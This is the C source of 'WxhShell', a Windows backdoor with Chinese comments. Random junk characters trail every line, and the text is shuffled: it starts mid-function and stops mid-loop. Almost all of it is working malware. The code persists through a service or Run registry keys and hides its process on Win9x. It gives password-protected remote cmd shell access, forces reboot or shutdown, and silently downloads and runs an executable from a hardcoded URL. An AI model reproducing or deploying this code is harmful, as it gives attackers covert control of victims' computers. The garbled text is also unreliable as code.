    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); =u[rOU{X"W  
    if(Boot(SHUTDOWN)) |<QI%Y$dr  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); wjg}[R@!  
    else { ${0%tCE  
    closesocket(wsh); y$v@wb5  
    ExitThread(0); 2:/u2K  
    } +QQ YPEx+  
    break; 1[[TB .xF  
    } hC|KH}aCR)  
  // 获取shell IKtiR8  
  case 's': { ~e+0c'n\  
    CmdShell(wsh); IF$^ 0q  
    closesocket(wsh); j$%yw4dsj  
    ExitThread(0); )j(fWshP  
    break; B{N=0 cSi  
  } F42TKPN^uu  
  // 退出 u,!4vKx  
  case 'x': { T!&jFy*W  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ->Q`'@'|P  
    CloseIt(wsh); "?`JA7~g  
    break; B[Ix?V4yy  
    } kYmo7  
  // 离开 vsw7|  
  case 'q': { VEr 6uvB  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); kkHTbn=!  
    closesocket(wsh); t{[gKV-b  
    WSACleanup(); 7s$6XO!  
    exit(1); gRw.AXR a  
    break; ZtKQ]jV&@  
        } dqL  -'  
  } w64.R4e  
  } A/ hpY a  
S]5VEn;pV  
  // 提示信息 N!.kq4$.  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); rSzQUn<  
} jaL$LJV  
  } X9z:D>   
%e(9-M4*  
  return; k62$:9`5  
} QR|XV%$  
A4}JZi6@  
// shell模块句柄 IsWcz+1n  
int CmdShell(SOCKET sock) ^#}dPGm  
{ [U% .Gi  
STARTUPINFO si; ef^Cc)S-Q  
ZeroMemory(&si,sizeof(si)); <8g *O2  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; \}U[}5Pk&  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; -??!@R7V  
PROCESS_INFORMATION ProcessInfo; b1eK(F  
char cmdline[]="cmd"; ^! $} BY  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); A8#.1uEgNb  
  return 0; /0Rt+`  
} d.L OyO  
Dl>*L  
// 自身启动模式 :h^O{"au^  
int StartFromService(void) [vZfH!vLP  
{ u'#`yTB6b  
typedef struct uDpf2(>s  
{ 87&KQ_  
  DWORD ExitStatus; RI#lI~&)  
  DWORD PebBaseAddress; )PsN_ 42~  
  DWORD AffinityMask; XKpL4]{&q4  
  DWORD BasePriority; m]{<Ux  
  ULONG UniqueProcessId; )RpqZe/h4  
  ULONG InheritedFromUniqueProcessId; %"1` NT  
}   PROCESS_BASIC_INFORMATION; bnA T,v{  
YJ &lB&xH  
PROCNTQSIP NtQueryInformationProcess; 2]?w~qjWm  
/ c4;3>I S  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ._8xY$l$  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; dM$N1DB{U+  
bbfDt^  
  HANDLE             hProcess; N |OMj%Uk  
  PROCESS_BASIC_INFORMATION pbi; 7KvXTrN!9  
CsJ)Z%4_  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ?7fQ1/emhO  
  if(NULL == hInst ) return 0; <O <'1uO,  
6ctHL<^  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); [] GthF  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); j CTQ sV  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ^4y(pcD  
[Ihp\!xqI  
  if (!NtQueryInformationProcess) return 0; va`l*N5  
T#MA#H2  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); g;u<[>'I  
  if(!hProcess) return 0; J=f:\]@Oy  
v_?s1+w  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; owfp^hla  
2N8rM}?90  
  CloseHandle(hProcess); g:G%Ei~sF  
"N?%mCPI  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); #i`A4D  
if(hProcess==NULL) return 0; d,GtH)(s  
6Tm Rc  
HMODULE hMod; \;3B?8wbIl  
char procName[255];  ;'2`M  
unsigned long cbNeeded; w>`h3;,2  
H<rnJ  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); FgFJ0fo  
&=+cov(3  
  CloseHandle(hProcess); m &0(%  
8`L#1ybMO  
if(strstr(procName,"services")) return 1; // 以服务启动 )OW(T^>_'I  
C8bGae(  
  return 0; // 注册表启动 CjC'"+[w  
} `:-@E2  
l|R<F;|  
// 主模块 N$=(1`zM=  
int StartWxhshell(LPSTR lpCmdLine) Z@>=&  
{ 7- *( a  
  SOCKET wsl; }[=xe(4]D  
BOOL val=TRUE; I =tyQ`  
  int port=0; 4 ~MJ4:  
  struct sockaddr_in door; Zq\RNZ}  
2$j Ot}  
  if(wscfg.ws_autoins) Install(); AHp830\  
:{TmR3.  
port=atoi(lpCmdLine); lRa 3v Ng  
c&| '3i+  
if(port<=0) port=wscfg.ws_port; ;Sx'O  
Dr8WV \4@  
  WSADATA data; d'lr:=GQ  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 7\\~xSXh  
ex@,F,u>o  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   E1U4v&P  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); A}t&-  
  door.sin_family = AF_INET; .b_0k<M!p  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); %h/#^esi  
  door.sin_port = htons(port); ^\7 x5gO  
2$SofG6D}  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ]RJb;  
closesocket(wsl); Oet#wp/I  
return 1; 1Rb XM n  
} !yV,|)y5F  
Th& Wq  
  if(listen(wsl,2) == INVALID_SOCKET) { DJD]aI  
closesocket(wsl); V#-qKV  
return 1; 9QX ~a X  
} )$l9xx[  
  Wxhshell(wsl); OW63^wA`s  
  WSACleanup(); iSZctsqE  
-A-hxK*^  
return 0; </+%R"`  
!%Hl#Pv}  
} (A]m=  
k+7M|t.?4  
// 以NT服务方式启动 R$T[%AGZ.  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) &k_wqV  
{ PcNf TB{  
DWORD   status = 0; r:WgjjA%  
  DWORD   specificError = 0xfffffff; R[>;_}5">  
7q2"b?|h  
  serviceStatus.dwServiceType     = SERVICE_WIN32; *1o+o$hY2  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; :EQme0OW  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; dm/\uE'l  
  serviceStatus.dwWin32ExitCode     = 0; Hl3XqR  
  serviceStatus.dwServiceSpecificExitCode = 0; j J`Zz  
  serviceStatus.dwCheckPoint       = 0; .5KC'?  
  serviceStatus.dwWaitHint       = 0; 9pl_V WrQ  
4I:JaRT d  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); U Qi^udGFD  
  if (hServiceStatusHandle==0) return; t6h`WAZV  
%!HnGwv-  
status = GetLastError(); SILvqm  
  if (status!=NO_ERROR) Ip7FD9 ^  
{ ;}>g1&q  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; {!{7zM%u0C  
    serviceStatus.dwCheckPoint       = 0; {xBjEhQm  
    serviceStatus.dwWaitHint       = 0;  Z$#ZYD  
    serviceStatus.dwWin32ExitCode     = status; g+KzlS[6  
    serviceStatus.dwServiceSpecificExitCode = specificError; Rbj+P;t&  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Kt4\&l-De  
    return; z:i X]df  
  } AHMV@o`V  
V M\Z<}C  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; LL$,<q%(P  
  serviceStatus.dwCheckPoint       = 0; 4MtqQq4%  
  serviceStatus.dwWaitHint       = 0; c~L6fvS  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); )QSt7g|OF  
} ( /x@W`  
Gs=a(0 0i?  
// 处理NT服务事件,比如:启动、停止 OJ_2z|f<  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Z1V'NJI+  
{ z?t(+^  
switch(fdwControl) O[hbu![  
{ @DQ"vFj6<  
case SERVICE_CONTROL_STOP: !k>H e*M}P  
  serviceStatus.dwWin32ExitCode = 0; N>}K+M>  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; {OhkuON  
  serviceStatus.dwCheckPoint   = 0; H-cBXp5z  
  serviceStatus.dwWaitHint     = 0; R !%m5Q?5  
  { ?k:])^G5  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); H;t8(-F@'  
  } M%5$-;6~_  
  return; |YGiATD4DG  
case SERVICE_CONTROL_PAUSE: AINFua4A  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; @6!y(e8"J]  
  break; Qqhb]<z  
case SERVICE_CONTROL_CONTINUE: H+#wj|,+\  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; @aD~YtL"n  
  break; a] wcA  
case SERVICE_CONTROL_INTERROGATE: syN b0LR  
  break; ;&^"q{m  
}; qn"T? O  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ;`of'9|  
} ^? {kj{v  
>ya-  
// 标准应用程序主函数 vs0H^L  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) U_{JM`JY  
{ ge {4;,0=  
etK,zEd  
// 获取操作系统版本 *ckrn>E{h  
OsIsNt=GetOsVer(); t`1]U4s&I  
GetModuleFileName(NULL,ExeFile,MAX_PATH); K7O? {/  
-R$FJb Id  
  // 从命令行安装 ah Xq{>  
  if(strpbrk(lpCmdLine,"iI")) Install(); 3D09P5$W  
-L'K  
  // 下载执行文件 ~Yz/t  
if(wscfg.ws_downexe) { NdSxWrD`m  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) '5,,XhP  
  WinExec(wscfg.ws_filenam,SW_HIDE); {kRC!}  
} e "adkV  
Z8dN0AqZ  
if(!OsIsNt) { ]>4Qs  
// 如果时win9x,隐藏进程并且设置为注册表启动 (Nlm4*{h  
HideProc(); !zkEh9G  
StartWxhshell(lpCmdLine); F+$@3[Q`N  
} @[b:([  
else ty< tv|p  
  if(StartFromService()) lPN< rgg  
  // 以服务方式启动 T17LYHIT  
  StartServiceCtrlDispatcher(DispatchTable); 6-X?uaY)os  
else hYZ:" x  
  // 普通方式启动 :kx#];2i  
  StartWxhshell(lpCmdLine); bSmaE7  
}NBJ T4R  
return 0; IK?$!jh  
} UlN|Oy,  
Sd{"A0[A|  
Isgk  
*pC -`k  
=========================================== Q|<?$.FN"8  
VaI P  
` dUiz5o'  
z57papo  
v8k ^=A:  
*4^]?Y\*  
" [<fLPa  
8'xnhV  
#include <stdio.h> ,0~ {nQj]  
#include <string.h> 8B t-  
#include <windows.h> fh)`kZDk  
#include <winsock2.h> n03SX aU~V  
#include <winsvc.h> g5|\G%dOt  
#include <urlmon.h> rLVc<595  
!>@V#I  
#pragma comment (lib, "Ws2_32.lib") Iy4M MU  
#pragma comment (lib, "urlmon.lib") WblV`"~e  
FC(cXPX}  
#define MAX_USER   100 // 最大客户端连接数 'C>SyU  
#define BUF_SOCK   200 // sock buffer i8 ):0  
#define KEY_BUFF   255 // 输入 buffer  Y*}>tD;  
c_qy)N  
#define REBOOT     0   // 重启 h16Nr x  
#define SHUTDOWN   1   // 关机 nN\XVGP,t  
#Ii.tTk  
#define DEF_PORT   5000 // 监听端口 \q1%d.\X  
zPkPC}f(O  
#define REG_LEN     16   // 注册表键长度 f vM3.P  
#define SVC_LEN     80   // NT服务名长度 5a_!&  
l<: E+lU  
// 从dll定义API JI,hy <3l0  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); .*f4e3  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); #R PB;#{  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); L0VR(  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ?HyioLO  
0fK|}mmZA  
// wxhshell配置信息 $K5s)!  
struct WSCFG { {=4:Tgw  
  int ws_port;         // 监听端口 q8bS@\i  
  char ws_passstr[REG_LEN]; // 口令 4KSN;G  
  int ws_autoins;       // 安装标记, 1=yes 0=no FH21mwV  
  char ws_regname[REG_LEN]; // 注册表键名 J<*Mk  
  char ws_svcname[REG_LEN]; // 服务名 g):jZU]b  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 (a!,)  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 D"f(nVEr  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 4H=sD t  
int ws_downexe;       // 下载执行标记, 1=yes 0=no /0B ?3&H  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" {lUl+_58  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ;1k0o.3  
}t-|^mY>  
}; wSyu^KDz  
qTMz6D!Q  
// default Wxhshell configuration ujqktrhuLb  
struct WSCFG wscfg={DEF_PORT, W1`ZS*12D  
    "xuhuanlingzhe", BvR3Oi@Wc  
    1, ~2}ICU5  
    "Wxhshell", [:S F(*}  
    "Wxhshell", oP75|p  
            "WxhShell Service", jt r=8OiL  
    "Wrsky Windows CmdShell Service", h1o+7  
    "Please Input Your Password: ", h#ot)m|I  
  1, E+Mdl*  
  "http://www.wrsky.com/wxhshell.exe", b}*bgx@<  
  "Wxhshell.exe" &Q+V I/p  
    }; ',j-n$Z^=  
BD#;3?|  
// 消息定义模块 d$~b`  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; OBSJbDqT  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 6yM dl~.  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; DkKD~  
char *msg_ws_ext="\n\rExit.";  /?xn  
char *msg_ws_end="\n\rQuit."; 9cj-v}5j  
char *msg_ws_boot="\n\rReboot..."; \^LR5S&  
char *msg_ws_poff="\n\rShutdown..."; {/!Gh\i  
char *msg_ws_down="\n\rSave to "; vkgL"([_  
g|_*(=Q  
char *msg_ws_err="\n\rErr!"; ?R:Hj=.  
char *msg_ws_ok="\n\rOK!"; ve^MqW&S  
EC#10.  
char ExeFile[MAX_PATH]; *~^^A9C8  
int nUser = 0; =V 7w CW  
HANDLE handles[MAX_USER]; KptLeb:Om  
int OsIsNt; .. TjEBp  
<F & hfy  
SERVICE_STATUS       serviceStatus; 'B6H/d>  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; bQjHQ"G  
3*JybMo"  
// 函数声明 >G~;2K[  
int Install(void); MA6%g} o  
int Uninstall(void); obolDh a  
int DownloadFile(char *sURL, SOCKET wsh); E_rC"_Zte  
int Boot(int flag); C8q-gP[  
void HideProc(void); :+!b8[?Z  
int GetOsVer(void); ra2q. H  
int Wxhshell(SOCKET wsl); )ixE  
void TalkWithClient(void *cs); Nq6CvDXi  
int CmdShell(SOCKET sock); 7~f6j:{|z  
int StartFromService(void); /U]5#'i  
int StartWxhshell(LPSTR lpCmdLine); dD<kNa}2  
IpmREl $j  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); h8Si,W 3o  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); >GUTno$J  
>@uYleD(  
// 数据结构和表定义 ]#.#]}=  
SERVICE_TABLE_ENTRY DispatchTable[] = K$]B" s  
{ e90z(EF?0  
{wscfg.ws_svcname, NTServiceMain}, { rn~D5R  
{NULL, NULL} 3R .cj  
}; f BOG#-a}  
P'~3WL4MKs  
// 自我安装 {HnOUc\4  
int Install(void) o]U ==  
{ ]NsaFDi\  
  char svExeFile[MAX_PATH]; rRel\8  
  HKEY key; V= PoQ9d  
  strcpy(svExeFile,ExeFile); ^]gl#&"D  
{'kL]qLg  
// 如果是win9x系统,修改注册表设为自启动 pBkPn+@  
if(!OsIsNt) { =^vUb  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { @7'gr>_E  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); B=|sLs`I  
  RegCloseKey(key); 'WCTjTob/  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { GXVGU-br  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); >.4Sx~VH2  
  RegCloseKey(key); kzXW<V9  
  return 0; Q.\ovk~,a  
    } xRN$cZC  
  } I5?LD=tt  
} 9~I WGj?  
else { ]:fHvx_?`7  
ApB0)N  
// 如果是NT以上系统,安装为系统服务 Cx~z^YP'  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 8t!"K_Mkx  
if (schSCManager!=0) #u@!O%MJ  
{ Rby7X*.-v  
  SC_HANDLE schService = CreateService PQr N";+  
  ( cgOoQP/#  
  schSCManager, K? k`U,  
  wscfg.ws_svcname, FG\?_G  
  wscfg.ws_svcdisp, %xz02$k  
  SERVICE_ALL_ACCESS, sNVD"M,  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , h+@t8Q;gGw  
  SERVICE_AUTO_START, \gpKQt0  
  SERVICE_ERROR_NORMAL, |\t_I~de  
  svExeFile, 0=&]!WRT  
  NULL, l/LUwDI{  
  NULL, H#E0S>Jw|  
  NULL, Nl _Jp:8s  
  NULL, lc7]=,qyF  
  NULL qa0Zgn5q  
  ); >0oc=9H8  
  if (schService!=0) b}*hodzF  
  { f *vziC<m  
  CloseServiceHandle(schService); p?@D'  
  CloseServiceHandle(schSCManager); GkFNLM5'  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); V-3]h ba,  
  strcat(svExeFile,wscfg.ws_svcname); ?M2@[w8_  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ?dYDfyFfB  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ntejFy9_  
  RegCloseKey(key); v( B4Bz2  
  return 0; o ++Hdvai  
    } C7PiuL?  
  } C2v7(  
  CloseServiceHandle(schSCManager); H<"j3qt  
} _guY%2% yR  
} (k~c]N)v  
v*LL7b0 A  
return 1; Kw|`y %~  
} ZlzFmNe60  
{ L5m`-x  
// 自我卸载 ~-/AKaK}  
int Uninstall(void) m/AN*` V  
{ O{V"'o  
  HKEY key; qDW/8b\^  
edQ><lz  
if(!OsIsNt) { jG#sVK]  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { iVcBD0 q)  
  RegDeleteValue(key,wscfg.ws_regname); ->(B: Cz  
  RegCloseKey(key); _G|6xlO  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { XQA2uR4h  
  RegDeleteValue(key,wscfg.ws_regname); SEmD's  
  RegCloseKey(key); ; o\wSHc  
  return 0; bOdD:=f  
  } %O${EN  
} mVLGQlvVK  
} BJ5#!I%h  
else { #z.x3D@^r6  
5{> cfN\q  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); m[f\I^ \%8  
if (schSCManager!=0) %y q}4[S+o  
{ xjpW<-)MLf  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 53QP~[F8R]  
  if (schService!=0) :`K;0`C +  
  { DH%X+r  
  if(DeleteService(schService)!=0) { vKeK]  
  CloseServiceHandle(schService); ?kSs7e>  
  CloseServiceHandle(schSCManager); 21qhlkdc  
  return 0; 92i# It}-/  
  } ~ocr^V{"<~  
  CloseServiceHandle(schService); wHmEt ORo  
  } R)=<q]Ms  
  CloseServiceHandle(schSCManager); ?:E;C<Ar  
} vuf|2!kh/  
} ^&}Y>O,  
q3:tZoeXV  
return 1; -]e@cevy  
} a/ZfPl0Ns[  
'};Xb|msU  
// 从指定url下载文件 g;pFT  
int DownloadFile(char *sURL, SOCKET wsh) -vyC,A  
{ I zT%Kq  
  HRESULT hr; k8TMdWW  
char seps[]= "/"; >&R|t_ypw  
char *token; .JqIAC~  
char *file; .o>QBYpTw/  
char myURL[MAX_PATH]; RwE]t$T/  
char myFILE[MAX_PATH]; -l",!sV  
;p/@tr9  
strcpy(myURL,sURL); X:A\{^ ~  
  token=strtok(myURL,seps); g5.Z B@j  
  while(token!=NULL) SO)??kQ{U  
  { Z8x(_ft5  
    file=token; i=ba=-"Mt  
  token=strtok(NULL,seps); ;8@A7`^  
  } L4!$bB~L-  
wv<"W@& 9  
GetCurrentDirectory(MAX_PATH,myFILE); XxIUB(.QI  
strcat(myFILE, "\\"); \h-[u%  
strcat(myFILE, file); ~LVa#  
  send(wsh,myFILE,strlen(myFILE),0); E-x(5^b"  
send(wsh,"...",3,0); w3*JVIQC  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); QMIXz[9w  
  if(hr==S_OK) [# _ceg1G  
return 0; 2eNm2;  
else 7G/"!ePW6`  
return 1; pO^ 6p%  
(<ejJPWT  
} vq{:=:5'P  
R1nctA:  
// 系统电源模块 */1z=  
int Boot(int flag) |^1eL I  
{ jkbz8.K  
  HANDLE hToken; 6jn<YR E-  
  TOKEN_PRIVILEGES tkp; dG| iA]  
=X`/.:%|[  
  if(OsIsNt) { /<})+=>6f  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Zy'bX* s|  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ~&pk</Dl  
    tkp.PrivilegeCount = 1; GcKJpI\sB  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; eaI&DP  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); *}?^)z7w  
if(flag==REBOOT) { MV/JZ;55  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) .JzO f[g5  
  return 0;  np~oF  
} %spR7J\"/  
else { /XXW4_>  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) th]9@7UE,  
  return 0; xkX, l{6  
} htjJ0>&  
  } |h#mv~cF  
  else { cv^^NgQ  
if(flag==REBOOT) { `:8&m  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) W>"i0p  
  return 0; RGiA>Z:W  
} n_aKciF  
else { (Yx rZ_F'b  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) vs.q<i-u  
  return 0; OvFZ&S[  
} O6`@'N>6P  
} *P_TG"^{W  
-X |G  
return 1; 43/|[  
} x>t:&Y M  
Y A;S'dxY  
// win9x进程隐藏模块 ;a68>5Lm*  
void HideProc(void) 4Q$\hO3b  
{ F Hv|6zUX  
`T-(g1:9  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); @A)gsDt9A  
  if ( hKernel != NULL ) [p]Ayo$~  
  { 7c+u+Yet  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); %3q@\:s  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 0s4%22  
    FreeLibrary(hKernel); tUt l>>6Iu  
  } u~G,=n  
ZJ!/49c*>  
return; ^UJO(   
} r:u5+A  
'j}%ec1  
// 获取操作系统版本 zRB1V99k  
int GetOsVer(void) Gs-'  
{ \ Xuu|]  
  OSVERSIONINFO winfo; j88H3bi0  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 7)[4|I  
  GetVersionEx(&winfo); iX4/;2B=,  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 9m<>G3Jr  
  return 1; )2\6 Fy0S  
  else N 4Dyec\  
  return 0; u%&zY97/  
} w;X-i.%`  
WhvO-WF  
// 客户端句柄模块 GXsHc,  
int Wxhshell(SOCKET wsl) h8nJ$jg  
{ ?+51 B-  
  SOCKET wsh; YncY_Hu  
  struct sockaddr_in client; bj7v<G|Y  
  DWORD myID; L8!xn&uyP=  
pTcm2-J  
  while(nUser<MAX_USER) wJ+"JQY.J+  
{ TVKuvKH8U  
  int nSize=sizeof(client); 5 J 0  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); [ h%ci3  
  if(wsh==INVALID_SOCKET) return 1; *!Xhy87%Z)  
iX~V(~v  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); O"Ar3>   
if(handles[nUser]==0) 0e3 aWn  
  closesocket(wsh); MvObx'+  
else V" I+E  
  nUser++; QarA.Ne~  
  } RM,r0Kv17Y  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); zX(p\NU  
VTD'D+ t  
  return 0; :eDwkzlHH  
} H+-9R  
8W#whK2El  
// 关闭 socket (0^u  
void CloseIt(SOCKET wsh) :)bm+xWFF  
{ is`le}$^y  
closesocket(wsh); 5y@JMQSO  
nUser--; Uw4KdC  
ExitThread(0); 3<?#*z4]_  
} I lvjS^j  
<0pBu7a  
// 客户端请求句柄 O7:JG[tR*  
void TalkWithClient(void *cs) Haiuf)a  
{ #m|AQr|  
6EJ,czt(  
  SOCKET wsh=(SOCKET)cs; Q;SMwCB0M  
  char pwd[SVC_LEN]; HJM-;C](  
  char cmd[KEY_BUFF]; ]*Zg(YA  
char chr[1]; jF{zcYU  
int i,j; Z&YW9de@  
u|APx8?"o  
  while (nUser < MAX_USER) { N }Z"$4  
{B uh5U,  
if(wscfg.ws_passstr) { )9J&M6LX  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 'Aai.PE:  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); t<x0?vfD  
  //ZeroMemory(pwd,KEY_BUFF); K@`F*^A}V  
      i=0; |5`z;u7V  
  while(i<SVC_LEN) { Id|38   
<SOC  
  // 设置超时 ;L++H5Kz6  
  fd_set FdRead; -bduB@#2d  
  struct timeval TimeOut; ]Z2;sA  
  FD_ZERO(&FdRead); ?< mSEgvu  
  FD_SET(wsh,&FdRead); X5'foFE'  
  TimeOut.tv_sec=8; T/UhZ4(V  
  TimeOut.tv_usec=0; r( :"BQ  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); r@^h,  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 5q}680s9+  
u:NSPAD)  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); UVA|(:  
  pwd=chr[0]; x-mRPH  
  if(chr[0]==0xd || chr[0]==0xa) { g#T8WX{(V  
  pwd=0; #:e52=  
  break; RT4ns+J1  
  } C]p3,G,oN  
  i++; u.gnv dU  
    } OcwD<Xy  
S~/zBFo-  
  // 如果是非法用户,关闭 socket 2/x+7F}w5  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ZFY t[:  
} .{*V^[.  
;}ileL Tl  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); O3PE w4yA  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 2D,9$ 0k_]  
FhHcS>]:.  
while(1) { m:.ywiw=  
![P1Qv p  
  ZeroMemory(cmd,KEY_BUFF); ?`3` azfM  
#B_ ``XV  
      // 自动支持客户端 telnet标准   0Ou`& u  
  j=0; ?n8gB7(FA  
  while(j<KEY_BUFF) { ;gu_/[P  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); U8PSJ0ny  
  cmd[j]=chr[0]; ZC@sUj"  
  if(chr[0]==0xa || chr[0]==0xd) { $RfM}!7?  
  cmd[j]=0; XL1v&'HLV  
  break; 5\A[ra  
  } jqh d<w  
  j++; Nl"< $/  
    } F\ yxXOI  
"}Of f  
  // 下载文件 CD;C z*c  
  if(strstr(cmd,"http://")) { KW ]/u  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 4#{i  
  if(DownloadFile(cmd,wsh)) _p"nR  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); hS/oOeG<Y  
  else 6Xu8~%i  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); N=YRYU o  
  } lU`]yL  
  else { rhGHR5 g  
|[7xTD  
